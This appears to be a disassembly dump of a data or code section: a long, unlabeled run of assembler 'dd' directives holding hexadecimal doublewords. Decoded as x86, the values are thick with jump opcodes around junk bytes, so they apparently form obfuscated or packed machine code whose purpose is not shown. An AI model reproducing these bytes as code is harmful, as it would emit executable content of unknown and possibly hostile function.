		dd 81666F24h, 57EDFAD7h, 1902CF81h, 0BE5858CBh,	3894AB7Ch
		dd 10E951F9h, 94000000h, 175EABAEh, 9FA4159h, 2715B74Fh
		dd 5935FC70h, 0CE95060h, 10000000h, 0F7369AF9h,	0C670F1ABh
		dd 58662E96h, 0FCA8B61h, 0C84h,	6830F00h, 0F000000h, 82h
		dd 8B665600h, 13E858C6h, 0A2000000h, 8AAFA342h,	826296A2h
		dd 0E6E05ECAh, 98AAD1D1h, 0CF8A73A9h, 68E0F5Ah,	81000000h
		dd 993DBCE3h, 66C88B41h, 890FC28Bh, 2, 8166D8B3h, 60E5A5CAh
		dd 0BE9h, 3E344800h, 1B2157BEh,	7B62B963h, 3800F61h, 0F000000h
		dd 0DB81D1BFh, 4440D05Dh, 8B4DD380h, 5E8FBh, 0FB950000h
		dd 5B0D75DEh, 1A3AC181h, 0B8667185h, 830F8578h,	11h, 6E8h
		dd 0EBB9FA00h, 0BA4AE348h, 7D74864Ah, 19820F58h, 0F000000h
		dd 1384h, 0DE800h, 6CCA0000h, 780AF2EFh, 0A72B5B7Ah, 5F391B67h
		dd 0BBC88166h, 1EB96073h, 0F699BB9h, 88h, 820F6100h, 4
		dd 41E4B966h, 6830Fh, 0DA810000h, 7433BF40h, 0E996F080h
		dd 0Eh,	0F0F00915h, 8D448FF1h, 4199FCB4h, 840FC33Ah, 0
		dd 80DE8B66h, 0DF80D6F4h, 0C18166FAh, 0E8F9F07Ah, 0Bh
		dd 79917928h, 82975AB8h, 0E8867FADh, 0Eh, 3F19D413h, 8C0FE0BDh
		dd 3B45D931h, 0C18B87D0h, 8B0F5959h, 14h, 0FE9h, 9C412300h
		dd 0B32535B9h, 7C74E5A2h, 7A1A3AEEh, 0FE9h, 82257A00h
		dd 0E2B26FA3h, 0CD927595h, 0C4A1D45Bh, 0FCC88B66h, 0EE9h
		dd 9D948000h, 6CFCF90Ah, 0D49AE719h, 0E9B05346h, 10h, 0C19EB457h
		dd 0C8F1B362h, 8AD53648h, 0E5FF8BF0h, 0E9FBB70Fh, 9, 0D4B3D712h
		dd 2AF1A579h, 0FE969h, 0E6D0000h, 0EAD44EA0h, 0CD1565A4h
		dd 1B767E14h, 61FC601Eh, 8AFDE480h, 3810FECh, 80000000h
		dd 5E5294C6h, 7E9h, 0AC128300h,	27D7E63Eh, 830FF5h, 0BE000000h
		dd 692E6DFAh, 5E9h, 115ABA00h, 9E9892Ah, 1A000000h, 2D8795A4h
		dd 0D7829140h, 0B49FB966h, 0E779BF66h, 0E9FB8B60h, 0Bh
		dd 486C7DC2h, 7243AA2Ah, 6121AB47h, 0DE816657h,	0F58B3E1h
		dd 0BA66F8BFh, 12E88D89h, 0F6000000h, 0E825083Eh, 6C513DA8h
		dd 450CB1Ch, 9B945615h,	24DA819Ah, 5B14A68Ah, 0BE8h, 8FC02900h
		dd 7FCF439Dh, 0D3CFC748h, 595A5252h, 88B0F5Fh, 0F000000h
		dd 28Ah, 0BBCA8B00h, 527661ADh,	6E8h, 514DE300h, 66F030DCh
		dd 5BDA2CBFh, 0DE9h, 70A25400h,	99E188A1h, 2986A5BCh, 7B8D0F0h
		dd 0F8345D02h, 0DBBF0FF9h, 9AF180F8h, 8B4AC080h, 0DF8166F7h
		dd 0E9604F1Ah, 0Dh, 7EF733F6h, 0BDABE3F7h, 46A9D34h, 28C0FE7h
		dd 8A000000h, 0C38061EAh, 0FBBE66CAh, 2850FFCh,	8B000000h
		dd 0C88166D6h, 0BF66AFF1h, 0CE9CA24h, 0D4000000h, 0C7902C4Dh
		dd 424814C7h, 0FE3DEC1h, 28Fh, 0F5EB8A00h, 28E0Fh, 60B60000h
		dd 646CBB66h, 0D93DF381h, 0BF663051h, 12E8D658h, 2B000000h
		dd 6F5EB301h, 4EC3A787h, 80261435h, 1F83157Bh, 5E960B3h
		dd 0C6000000h, 0F92816D6h, 0CE2EE381h, 59616F55h, 0A8F4F6BAh
		dd 0E9F78B56h, 0Fh, 0F819C7F2h,	5CEA5CD5h, 4AC343F1h, 0B2763347h
		dd 0DF8166EAh, 0BF660379h, 0B70FDC5Ah, 11E951F0h, 4F000000h
		dd 5646B110h, 0AC51FDC7h, 0FB749A87h, 1C50935Fh, 0DE81665Eh
		dd 0BE665CB4h, 66F540C3h, 0E9D42DB8h, 11h, 626A8BDDh, 128FAF0Eh
		dd 89E71EC0h, 1F4286ECh, 0B8B866B8h, 0B8C5B6C9h, 19C2F0D3h
		dd 66F9C7B1h, 0AB02F781h, 13E9h, 0C9BC9D00h, 24337D53h
		dd 137D73DDh, 566DF238h, 34F951Ch, 0C281C4B3h, 13370050h
		dd 2800Fh, 0C88A0000h, 38C0Fh, 0C8800000h, 7E920h, 0FC910000h
		dd 5440CAC4h, 66BFB17Ah, 0F7B3CB9h, 783h, 81665100h, 5B81A0F6h
		dd 0DBC78166h, 8BD68B1Dh, 0C28B66D0h, 3870Fh, 0E7800000h
		dd 0C0B860B5h, 0BE3CE011h, 7E0C0A59h, 0DA8B6661h, 57CF8B66h
		dd 0DE8h, 0DDBAA500h, 0C251DB39h, 0D6B6EAFEh, 33B58486h
		dd 0EE8A5958h, 762339BFh, 0FF08B7Dh, 383h, 0FBBF0F00h
		dd 12E9h, 34EA900h, 4CB9E559h, 0AAB2A790h, 2C33E5FBh, 60D6B5BEh
		dd 0C88B6661h, 665ED480h, 0F56CFFBEh, 28D0Fh, 7B10000h
		dd 8011B866h, 0CB80FA8Bh, 0C9BF0FE0h, 6512DB81h, 810F0C6Fh
		dd 18h,	11E8h, 39A84400h, 6CC8F5F8h, 0D0695EE5h, 7F5B2EC5h
		dd 59F9C164h, 870F6AB6h, 18h, 12E8h, 0DA3EB800h, 0CB6F128Ch
		dd 63770545h, 948FC1F5h, 5F1A2E02h, 0FB0CF80h, 581h, 6FD6B800h
		dd 0CF81680Dh, 4757E418h, 0EE9h, 9F4A6B00h, 0A017DF01h
		dd 840AF6B1h, 0BAAD2131h, 34D092C4h, 8C0FD98Bh,	0
		dd 2860Fh, 0B5B30000h, 0AE9h, 0F541DA00h, 5DA0D377h, 0F7E39C6h
		dd 2586h, 14E800h, 0B75F0000h, 8F15EFA5h, 42725498h, 8AC75DD3h
		dd 1649984Ah, 6E95869h,	18000000h, 52EFCCD4h, 0BE95B48h
		dd 29000000h, 563BD3A0h, 0B731C262h, 14E9BED7h,	5B000000h
		dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 491EA6Bh,	81CFFB84h
		dd 4F882FD0h, 0C9B70F50h, 66CA8BF5h, 0A8A7D381h, 0CE9h
		dd 73F4C900h, 0F5E469EAh, 164FE21Ch, 0B70F52E7h, 60FC5ED7h
		dd 6830Fh, 0EB810000h, 1949B9C0h, 57615AB7h, 5F44F180h
		dd 13E9h, 8484EF00h, 0A494197Bh, 0F098FB9Fh, 0FC8D7CE9h
		dd 30881A20h, 860Fh, 870F0000h,	8, 2830Fh, 61600000h, 8B0F51FCh
		dd 3, 58C8BF0Fh, 5846B150h, 800FBBB0h, 0
		dd 8E0Fh, 12E90000h, 0D000000h,	65609CD2h, 0A62CE19h, 7775E848h
		dd 0F3C49353h, 0FC88B88h, 587h,	0C1816600h, 57607BC3h
		dd 26CABA66h, 3850F5Fh,	66000000h, 8B61C78Bh, 0E86FB7F9h
		dd 0Ch,	0AEEA463Dh, 0F7C3DEA1h,	0B9702A0Eh, 10E8h, 0B5526A00h
		dd 0F054A652h, 0A69ED355h, 0C3153BA8h, 5958FC74h, 0FC0BF0Fh
		dd 881h, 28E0F00h, 60000000h, 4840F61h,	66000000h, 0B34400BAh
		dd 9E950h, 491D0000h, 0B0A188E1h, 0B910E6B1h, 207686FFh
		dd 0CE8h, 790A1D00h, 869D78C3h,	1ACC71D1h, 6DBB99Ch, 0E9581255h
		dd 7, 88101048h, 66D6A006h, 23C8F381h, 280EC881h, 0F7814935h
		dd 516BF857h, 4168BE66h, 645BE081h, 0E86050F6h,	10h, 1ED3D5E9h
		dd 0F916D990h, 0C18E5E70h, 7D7D2D72h, 0C3E18158h, 615DE4D6h
		dd 0BB665EB2h, 0B70FA343h, 0BE956FFh, 4D000000h, 0DC37D7B6h
		dd 0EC218E7Eh, 665E20DEh, 605FB6BEh, 0BE8h, 0A18C1F00h
		dd 0E3C4838Ch, 696E1BA6h, 8C0Fh, 615A0000h, 0C38B6650h
		dd 5219B25Eh, 13E9h, 66C7B900h,	0D823D3E8h, 0C825A8A0h
		dd 2848CABCh, 820C3CCBh, 24F6815Bh, 0BB5249C4h,	448656FAh
		dd 8AF8BF0Fh, 7E8C5h, 953C0000h, 5185D46Fh, 816657C4h
		dd 5EC5C2E0h, 665E525Ah, 0ACB5FB8Bh, 0C580FA8Bh, 98D0F0Ch
		dd 0F000000h, 388h, 0C9BF0F00h,	80F9BF0Fh, 0CE998C4h, 0E3000000h
		dd 28DCA9CBh, 19B30ACFh, 0E8CC78DCh, 14h, 8A871C08h, 4A92E00Ah
		dd 0C350A0B0h, 74D74DC1h, 0F641BDE6h, 868FEE81h, 0F5E713Eh
		dd 0C381C1B7h, 62B35D09h, 0B565C781h, 0E95347C0h, 0Ch
		dd 62C19EB4h, 48C8F1B3h, 0F08AD536h, 89C78158h,	0F6A40C9h
		dd 1C81h, 168E0F00h, 0E9000000h, 11h, 0F58C13F1h, 0A12E2BD4h
		dd 0C0368D5Eh, 5879F1D2h, 0DE9F8F7h, 54000000h,	161C69B2h
		dd 0DDFEBFE6h, 6A1C695h, 68F0Fh, 8D0F0000h, 0
		dd 20D78166h, 8E0F1Fh, 0F000000h, 66FCC6BFh, 5160CA8Bh
		dd 8E6ED181h, 505B2A72h, 6158D08Bh, 413F72B8h, 0C8B0F31h
		dd 0F000000h, 684h, 8B0F00h, 57000000h,	0C8C68166h, 880F5893h
		dd 5, 6BC6D2BFh, 3E2DBE67h, 0F853190Eh,	2810F59h, 0B6000000h
		dd 0FE938h, 8E810000h, 33417002h, 58753B48h, 70F089C3h
		dd 0C78166CFh, 12E994CBh, 0C2000000h, 3DAA6492h, 0B06FB12Bh
		dd 0BAB73E5Fh, 0C121FD57h, 48C0F03h, 66000000h,	0F1059BEh
		dd 682h, 8EE8100h, 0E9733FECh, 10h, 0E7C19DD5h,	3994BC32h
		dd 8F4104Ch, 0E8D260Bh,	11E9h, 3F0DC800h, 128A7F01h, 547B110Dh
		dd 0CA5300B7h, 800FB785h, 4, 80BABA66h,	80F2D680h, 0B966DAF2h
		dd 3DBA86F7h, 0F23CBC9h, 889h, 2830F00h, 0B0000000h, 0D78B66B5h
		dd 0DE9h, 743E4A00h, 7A6D2E3Fh,	43E152FEh, 59B859F3h, 0E9272A12h
		dd 7, 11929170h, 0F8EA212h, 485h, 9DB86600h, 4A94BB48h
		dd 830F18CDh, 1, 0DA8B66F8h, 6ABA66FCh,	0E9816618h, 0E28A5A35h
		dd 329ABB66h, 0FE9h, 28B88700h,	0C010981Bh, 250CB52Ch
		dd 0A134A1E4h, 7E9h, 0ECD1700h,	0F47C3AC0h, 6820Fh, 0E9810000h
		dd 256CD1F4h, 61B5BA66h, 8BF3B70Fh, 79B6F5D3h, 1ED5BE66h
		dd 0E987D480h, 12h, 4B23345Bh, 0AFF02E18h, 0A6172511h
		dd 428F5F47h, 0C880BD8Eh, 0B360605Ch, 5A2BB935h, 8B617779h
		dd 0D38B61C1h, 0FE8BAAB1h, 66DF8B66h, 0E9044CBAh, 14h
		dd 0C8C389F4h, 0BD14FAFAh, 1B5F73B7h, 0A7FA7FB1h, 0A0FCEDCh
		dd 5BD78B51h, 12E9h, 0E9D32E00h, 0FE43D60Dh, 0AF291F79h
		dd 191426F0h, 0BAFD63FFh, 423502CEh, 0FE9h, 82F82000h
		dd 1C2A0278h, 23A8BE29h, 0B8C2131Fh, 17E28166h,	66F18AE0h
		dd 0E9EB3CB9h, 11h, 1487D669h, 3CBAFA88h, 6A54F06Dh, 0A05456D5h
		dd 8BD08A54h, 0F1B966D9h, 4BBE6666h, 66A6B51Ch,	0BF66C88Bh
		dd 0B70FFFC1h, 0D8BF0FC6h, 3807C4BEh, 0BBCE8B09h, 1D1C17FFh
		dd 0BCD28166h, 5E84Eh, 7AF90000h, 0FF626A2h, 18Fh, 6659F900h
		dd 0E926C6BAh, 5, 7A489C3Ah, 6CCA818Bh,	81482F65h, 5A2003C6h
		dd 0DE81666Ah, 890F9BF6h, 7, 0AF21BA50h, 0E95E75B8h, 11h
		dd 0DBC9D483h, 3FE0D81h, 0A678E609h, 8EDC67D2h,	3BB2F837h
		dd 0FCE28166h, 66C78B04h, 666070BBh, 2DCFD181h,	0F5BF953h
		dd 0E9F9F3B7h, 11h, 2AE3680Fh, 6CB196F3h, 58F8267Ch, 0F21F3CACh
		dd 58F0FDAh, 66000000h,	8109D881h, 5E8h, 9DB97400h, 8B66A15Dh
		dd 81665AD3h, 66F0B9C6h, 8B66F28Bh, 8E9F1h, 8FC50000h
		dd 0FEE006C8h, 66608E78h, 4A2CEA81h, 4830Fh, 0BE660000h
		dd 8061D243h, 10E85DECh, 63000000h, 0AE7ABDE9h,	7C8214B1h
		dd 726D567Ch, 5B0EDD41h, 0BE661DB3h, 0C681C245h, 3FE1A79Dh
		dd 0A742FFB9h, 0F5F5330h, 58Dh,	0E0816600h, 0BA66778Dh
		dd 0BB6634F4h, 0E38A17CFh, 0FFA8B66h, 581h, 0CA816600h
		dd 8B0FBE8Ah, 6, 0C8D9DE81h, 8A0F019Dh,	0
		dd 0E8BFCA80h, 12h, 39316CB4h, 29018187h, 8F9992A9h, 9FCC645Ch
		dd 8B669093h, 0BF0F59D1h, 68E0FFFh, 81000000h, 8B14ACF1h
		dd 0E781661Fh, 6650AD54h, 5F8EC9BEh, 10E9h, 0F5ABDB00h
		dd 0CC493E19h, 0B764E5D2h, 5C9E4910h, 8E8E5h, 78C20000h
		dd 0E56EDFC2h, 22B8FCC8h, 5F7F5873h, 0D98B6660h, 38B0Fh
		dd 0B70F0000h, 12E961F9h, 22000000h, 9C335550h,	9B1260F3h
		dd 0CBF8FF68h, 0C36CFE6Ch, 0FC08B17Dh, 11E9h, 0B37C0700h
		dd 346046Bh, 7490C391h,	0CC330579h, 8166EEBCh, 0B0216DD0h
		dd 8860F74h, 0F000000h,	282h, 0E9616000h, 13h, 0FEA60C20h
		dd 5A7117E6h, 79907E26h, 0E4CC7BE9h, 81F2442Eh,	0B948BBD8h
		dd 0CA81600Fh, 0AE57480h, 8061FA8Bh, 8166D5DBh,	664140C9h
		dd 0E860F88Bh, 0Ah, 5526E344h, 9532F6A9h, 8E0F0705h, 0
		dd 0DF815058h, 389261DAh, 0D080615Eh, 0CE963h, 3EB90000h
		dd 0FABF82E9h, 0BFB665E7h, 8B66508Eh, 5870FCAh,	0B9000000h
		dd 282682F5h, 11E8h, 53CBDD00h,	0C7A964E7h, 0C1B62F16h
		dd 6B88DBCAh, 8B66167Bh, 12E95AF9h, 18000000h, 0A36B90E0h
		dd 8653FC66h, 9E0B003Fh, 440664EEh, 5EB2608Ah, 6E961F9h
		dd 0A1000000h, 84E23BFFh, 0FFB8B49h, 48Fh, 4DBF6600h, 0AE8600Fh
		dd 70000000h, 39F28C3Ah, 3AA8EF82h, 11E994h, 0B99E0000h
		dd 27491B97h, 52593674h, 0EF095A82h, 5AD91F29h,	870F60h
		dd 0E9000000h, 0Ch, 6ED1ADD4h, 2840CE07h, 5E7E2CF3h, 890F6161h
		dd 6, 75BE6660h, 81666138h, 535669F7h, 5E9h, 43861F00h
		dd 605B18AEh, 962DBE60h, 81664B74h, 6118C3D9h, 13E961FCh
		dd 33000000h, 69E33EFh,	5B1DAE6Eh, 0ED597BC4h, 65903A1Ch
		dd 8166A009h, 668D3FE1h, 0F86B4ABEh, 0FE9h, 736DD100h
		dd 2445480Dh, 9E241E3Fh, 35C364B1h, 0DF4ABE66h,	4890Fh
		dd 52570000h, 0D7815A5Bh, 1C5559E1h, 7BA832BFh,	5840F26h
		dd 0BF000000h, 41D13DBh, 66D2B70Fh, 8B56C88Bh, 0CE85AFAh
		dd 48000000h, 0CA72ACFh, 482A763Fh, 0BFE02E88h,	6E6E7907h
		dd 0BBF6815Fh, 814918E4h, 0E42FF4C0h, 19800F36h, 0F000000h
		dd 1386h, 0EE900h, 11870000h, 729A74Dh,	0A102B943h, 0E81108AAh
		dd 8BF9C68Bh, 880FF8F0h, 3, 0F8F28B66h,	10E9h, 41937E00h
		dd 57412C6Ch, 0A36491CAh, 0B8AE2369h, 8A0F6039h, 5, 0F7E5BFh
		dd 8DE68077h, 14E961h, 0F7A50000h, 0BC41C3D0h, 0A859BC8Dh
		dd 2C997174h, 0FE784EBCh, 830F4AC0h, 1,	1830FF8h, 0FC000000h
		dd 66C6CC80h, 8E0FDE8Bh, 4, 2BB2B866h, 8E9EAB0h, 7F000000h
		dd 0E464F45Ch, 0E9C4C406h, 12h,	6008138Dh, 26F7CBD1h, 0D79DBB71h
		dd 0F0279544h, 8BF9582Eh, 49E381F9h, 663C4A9Ah,	0B70FCB8Bh
		dd 0C1BF0FD6h, 5E9h, 0D17FAE00h, 6E9C568h, 5000000h, 1183871Bh
		dd 14E891h, 77160000h, 71D517BAh, 8FCD9E08h, 3A5A340h
		dd 0E9EAF33Eh, 5BF5CBB6h, 850FF18Ah, 7,	18E0Fh,	0FFC0000h
		dd 870FD0B7h, 5, 0E28FA5BBh, 0FA03B81Bh, 0BF667322h, 0B70F6C58h
		dd 0BAA3B3DAh, 3BB83F1h, 5890Fh, 81660000h, 664B4DF2h
		dd 5E9CF8Bh, 80000000h,	0F9347965h, 4629BCB9h, 0B2F9B36Bh
		dd 3890F1Ah, 66000000h,	26BFF88Bh, 666443C4h, 0A76EE981h
		dd 0FC12F281h, 880F57ABh, 6, 0EE1EE281h, 0D1811CF2h, 283BFFF5h
		dd 18A0F60h, 0F5000000h, 61DBBF0Fh, 70D5B966h, 53D3BF0Fh
		dd 9CBF6656h, 665E5BFAh, 0B42ADF81h, 81F2B70Fh,	6E4231F6h
		dd 0CE877h, 0D0570000h,	0DED452E3h, 947F4B18h, 0E780B1F2h
		dd 0CD8058DCh, 0FD88B03h, 0B70FC6B7h, 6890FC7h,	81000000h
		dd 7B7842F0h, 3830F35h,	0F000000h, 820FC6B7h, 3, 8BF38B66h
		dd 0DDD281F7h, 0F2933AAh, 388h,	0F1B70F00h, 9E3EBABFh
		dd 88B0F4Ah, 60000000h,	0B966DF8Bh, 6061C89Bh, 0F60D88Bh
		dd 8Ah,	61C88B00h, 13810F61h, 56000000h, 0CE9h,	56B66A00h
		dd 0D7A8E2B7h, 0B57BE0A9h, 8B665E81h, 168F0FF3h, 0E9000000h
		dd 11h,	0B025206Dh, 32A710F5h, 5D420C7Ch, 9A98B520h, 7E98Fh
		dd 0B5E20000h, 88BA2EE2h, 8AF96050h, 0C68161CAh, 57272447h
		dd 7D6AB966h, 0F9CAB70Fh, 59535750h, 6E95858h, 0B0000000h
		dd 1792E761h, 0E081517Dh, 3702F20Eh, 14E95Fh, 0A0190000h
		dd 0DFCE2C63h, 3046F3DAh, 0A7FCBABAh, 3BFEF5FEh, 0BA663E13h
		dd 830FFC86h, 8, 28A0Fh, 0D88A0000h, 0AE9h, 0C9C1A700h
		dd 0AA36972Eh, 0F235347h, 0B70FDEB7h, 6DDA80F6h, 0FF1F180h
		dd 1F89h, 98B96000h, 0E83DDCB1h, 12h, 1EC18223h, 966262B6h
		dd 0D26A1B22h, 5C9BA663h, 615A7030h, 8E8h, 4F3E2700h, 29F4CF92h
		dd 3DE08066h, 1860F5Bh,	0F9000000h, 14E8h, 6B2CAE00h, 0C9C9A2AFh
		dd 5711D1A6h, 810AB51Ah, 32E9CEAEh, 0B8BBA7Eh, 0F5B3FC8h
		dd 88Ah, 8B666000h, 69C480D9h, 0F8C78B61h, 0DE8h, 6B214700h
		dd 0DDB2A0C2h, 758173A1h, 58FC9CE6h, 6AD78166h,	0F78B60E6h
		dd 61CA8B66h, 0F8DABF0Fh, 6890F60h, 0F000000h, 8Ah, 0F88B6600h
		dd 0D18AFC61h, 0EE9h, 0FF64AD00h, 0A7571484h, 0FC0FD0D3h
		dd 8B6605AAh, 45BB66DFh, 6E8A9h, 0AA550000h, 84973CE4h
		dd 585AF550h, 0D381C5B0h, 6B10074Ch, 8BFEBF0Fh,	33C281DEh
		dd 0F6E51ADh, 0E960DFBFh, 5, 0AE658F98h, 0A2B866EAh, 870F618Bh
		dd 7, 0B966FC60h, 0E961B732h, 8, 0FC76B90Fh, 8762CDC3h
		dd 0CE950h, 24F10000h, 0E0F81E2Bh, 3D61E6B0h, 0B85F3F10h
		dd 2A975AABh, 7E65C081h, 8F0F6FE9h, 4, 46F6BF66h, 8E8h
		dd 0DF461800h, 0CA480CC2h, 66B850ECh, 5A6404F3h, 0DA8B6658h
		dd 2129E981h, 0FE80ECDh, 1F000000h, 9D937A80h, 0BDC2367Fh
		dd 907BF05h, 816694F2h,	5E28DCC0h, 0AE9h, 426BA100h, 0C4D71D52h
		dd 81A70BC7h, 6DB7B7CFh, 11810F7Fh, 0E9000000h,	0Ch, 58B2FD6Eh
		dd 0E7D22686h, 0AB08940Dh, 16DE8160h, 0E87FA3CEh, 0Fh
		dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 0E9F4E4E2h, 11h
		dd 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 71C66537h, 0B5615F5Bh
		dd 0FC88B33h, 884h, 2810F00h, 60000000h, 8E861h, 33E0000h
		dd 0A73228C9h, 12E94204h, 0D1000000h, 26BEFFFEh, 6153CD9Ah
		dd 915FC920h, 5DF0CC27h, 0FFC5A16h, 0F86h, 0AE900h, 0EB2E0000h
		dd 0C5E8B8C7h, 374CC6F6h, 88C0Fh, 830F0000h, 2,	12E85A56h
		dd 2A000000h, 50657ADh,	80FF808Ah, 444681Ah, 0F046B389h
		dd 6860FF7h, 0F000000h,	8Ah, 5E95A00h, 5D000000h, 1B826DA6h
		dd 0E9C2BF0Fh, 0Eh, 5031E521h, 330FED8Ah, 0A2F472BEh, 840F04D0h
		dd 3, 8BC7B70Fh, 2830FD9h, 8B000000h, 66C38BF3h, 83ADDF81h
		dd 0E859F950h, 13h, 4DBB4128h, 9122A4B9h, 1637410Ch, 31677D9Fh
		dd 5A156BA2h, 0E6C7E881h, 0BF0F5E2Fh, 0FF58ACBh, 0B660D8BFh
		dd 0C68B663Ch, 0E3D78061h, 12E9CB8Ah, 0C2000000h, 0FC485EA2h
		dd 737809ADh, 0CFF3992Eh, 8C3492Fh, 0F08B6630h,	0D8F0Fh
		dd 8E90000h, 16000000h,	891E8A63h, 0F6ADDC5h, 58Bh, 5F5BA00h
		dd 79B437A4h, 92F18166h, 0C9816694h, 14E99A81h,	2000000h
		dd 46250677h, 0D0F4F802h, 0C176F426h, 124A248Ah, 8B85DBCDh
		dd 0CE9D6h, 2F2A0000h, 19BFF7FAh, 6591CD40h, 6056B5B0h
		dd 0BBD18B66h, 7615F5B7h, 10E95961h, 60000000h,	6A591EDAh
		dd 6206DA78h, 0E68EFD52h, 0E97841E7h, 12h, 0DADAD4BEh
		dd 190FB360h, 0D70B1730h, 89CFAB2h, 81668843h, 0F8AD3D8h
		dd 0A8Ch, 5E900h, 5B950000h, 0BAE8A2DCh, 4D291E36h, 61FA8B60h
		dd 87F28166h, 0CE8B666Dh, 5AD38B57h, 820Fh, 12E90000h
		dd 4F000000h, 1ED4123Bh, 25BC19D3h, 3C8A4954h, 0E0845BDDh
		dd 0FFB9664Ch, 0F8BF0FBAh, 0BAD4C681h, 0E08139E3h, 134D7B20h
		dd 0E958F551h, 8, 0B44A7E80h, 0DC969443h, 55F28166h, 67B35241h
		dd 0EE85Bh, 0BA6B0000h,	210767A3h, 377C6BABh, 381B886Bh
		dd 5B25D380h, 0B70F4BB2h, 0AE8FCD7h, 36000000h,	96BDAD08h
		dd 0D1CF358Bh, 58B0F98h, 0BB000000h, 18C23012h,	0FEB70F5Eh
		dd 0C2B7F98Ah, 0C38BC8B7h, 66D9B70Fh, 81FAB3B8h, 5A1629E8h
		dd 0F08A514Ch, 0EE85Bh,	0DD530000h, 1EB73298h, 0D7217B2Ch
		dd 0C8AE73F8h, 9BA73EB8h, 0DE8A5836h, 10CE8166h, 10E952h
		dd 0D430000h, 5A401018h, 9EE5ACCFh, 57404380h, 8B66BEC3h
		dd 8D0FD8h, 0BB000000h,	5CA3E369h, 9D4FC181h, 0DA816F8Ch
		dd 7EB9DA59h, 0D68B66FCh, 8E8h,	0A75E7B00h, 7ED8A1A0h
		dd 0C7815952h, 4FC38109h, 16A8E2BBh, 8B666078h,	0D08B61C8h
		dd 0DA7DB866h, 12E9h, 39DF4300h, 14EE8E75h, 0C0A64601h
		dd 0D424BC62h, 57BB1478h, 5BD1BF0Fh, 0BAD0B70Fh, 361E0C34h
		dd 66CBB70Fh, 21F7F381h, 9E851h, 0FE020000h, 860C002Ah
		dd 0B7ABD262h, 0F5E5E6Fh, 68Bh,	69CF8100h, 8005BFF2h, 0C88090CDh
		dd 0C68B665Ch, 48D0Fh, 0BE660000h, 0C9813556h, 26CBD0A9h
		dd 6E8FCh, 0BE8B0000h, 8678C61Ah, 6E8h,	0E89AD300h, 665B4097h
		dd 5A5AD18Bh, 0B8C0Fh, 6E90000h, 96000000h, 0AF4B68A7h
		dd 77BA6682h, 8800F23h,	0F000000h, 282h, 60616000h, 158B0Fh
		dd 10E90000h, 39000000h, 0DCFD68B9h, 1B7C2F3Ch,	8CB136FCh
		dd 8B53A533h, 0F78B61D9h, 0CE9h, 0F141C00h, 9DCD9470h
		dd 0B47DDA89h, 1E830FECh, 0E8000000h, 13h, 65A4EAD4h, 7E14CD15h
		dd 281E1B76h, 0A7459D31h, 66B36D11h, 7BA6C981h,	10E95Bh
		dd 3A470000h, 0AB6DD989h, 92720457h, 309C82F4h,	8152E430h
		dd 0B7EEF2DFh, 0B9665F5Ah, 0E1813079h, 6061E312h, 8E960F9h
		dd 4E000000h, 742BEA45h, 8BA8C4EAh, 0D18061C3h,	0EDCD8065h
		dd 58BA6650h, 0BF665B06h, 0E8F50D35h, 0Ch, 93CCB86Bh, 0BC8FF90Fh
		dd 42980DC3h, 388BC6B9h, 0B70F5A3Fh, 0EF8166C0h, 0BE91437h
		dd 36000000h, 9BA9302Bh, 0C3DF4D59h, 0C9B58046h, 28C0Fh
		dd 0D08A0000h, 6820Fh, 0F7810000h, 43658D43h, 11E9FB8Bh
		dd 0FA000000h, 35B0E566h, 0CA5FDCE6h, 0E7CE8469h, 11F4F7F9h
		dd 4FEDC381h, 3EBB10E8h, 6600FE78h, 0B462C081h,	8B66D88Ah
		dd 49BF66F7h, 2BB5759h,	5F794196h, 5A0ECBAh, 0C6B70F73h
		dd 2880Fh, 0A0B00000h, 3CCABF66h, 58B866F5h, 94BA665Bh
		dd 19B9663Ch, 4830F20h,	66000000h, 0B9D8E2BAh, 6D87CBEAh
		dd 0A7E3CA81h, 0E9520318h, 6, 0BEF46EECh, 0F5BFE4Dh, 0C81h
		dd 68D0F00h, 0F000000h,	8Eh, 0BACB8B00h, 168BEC3Eh, 14F5E081h
		dd 8A0F3882h, 6, 2129C881h, 66F9444Ch, 812FB1BBh, 0E788ECCFh
		dd 6800F4Bh, 81000000h,	9F2B2EEAh, 0DE92Eh, 3DAD0000h
		dd 48FCF5C4h, 126DF6DAh, 81DC73E6h, 8132EBE1h, 0E8FE8B12h
		dd 0Bh,	7F23C802h, 6A34B7Ch, 5B1D7CD9h,	66CB8B66h, 665A70BBh
		dd 0F675DA81h, 14E9h, 30EAA800h, 29D1CDEh, 0D60AD89Dh
		dd 0DDE2EAA2h, 0A380BED1h, 850F65h, 0B8000000h,	29E6FE2Bh
		dd 58F0Fh, 81660000h, 0F5FC56F2h, 16D28166h, 815050BFh
		dd 0FBFA75E9h, 66595A55h, 0E8EC1EBBh, 0Dh, 0E8B570D6h
		dd 4B8B3C58h, 2F62A5A0h, 0FE842h, 252D0000h, 3A3E187Bh
		dd 76F566CAh, 0A1144EE0h, 0AE884h, 0AB2E0000h, 0C1EE25DEh
		dd 0D7E8DA52h, 0E95A5B5Bh, 12h,	6788F76Dh, 23E7A812h, 0E1B55B0Ch
		dd 0C22FE23Ch, 0D88BD53Ch, 6C9CE681h, 0D98B1254h, 0FCFB70Fh
		dd 0CB8BF6BFh, 0CD5CBE66h, 0FCF8B66h, 0BE8C0B7h, 40000000h
		dd 0D8494200h, 0DF27AA16h, 0BA6679FDh, 665FCC10h, 8B66D38Bh
		dd 0AE8F2h, 2B2E0000h, 786E8808h, 4149BD9Eh, 0FC59C28Bh
		dd 6693F281h, 0F5603EEh, 680h, 870F00h,	5E000000h, 12800Fh
		dd 0DE90000h, 6D000000h, 0C09EA5C4h, 58F021AAh,	1B090E34h
		dd 12E8D08Ah, 15000000h, 535D8705h, 0EB4987B1h,	77414CB8h
		dd 482E607Fh, 7B55A2Ch,	0E8BADF80h, 8, 0D38AF631h, 779B0FC5h
		dd 6890Fh, 8A0F0000h, 0
		dd 0D18B6659h, 0F57C5EBAh, 0F36BBA24h, 82BB5E70h, 0E9655C2Ch
		dd 10h,	111CB279h, 0D5F41BF4h, 96CEC5B0h, 6255C966h, 14E9F5h
		dd 6AF0000h, 13CA892Dh,	9A9349DFh, 0A5C46D28h, 21AAC09Eh
		dd 0CE8B58F0h, 7E9D08Ah, 78000000h, 0ECBE05B2h,	0D6B3544Dh
		dd 0FCC78B66h, 36D28160h, 0F25AF48h, 38Ah, 0DFBF0F00h
		dd 0F0BF0F61h, 0FFD18166h, 0D98B66D4h, 2870Fh, 0F38A0000h
		dd 8F0FF8F5h, 2, 0B70FD48Ah, 2840FCFh, 8A000000h, 0CF8160F9h
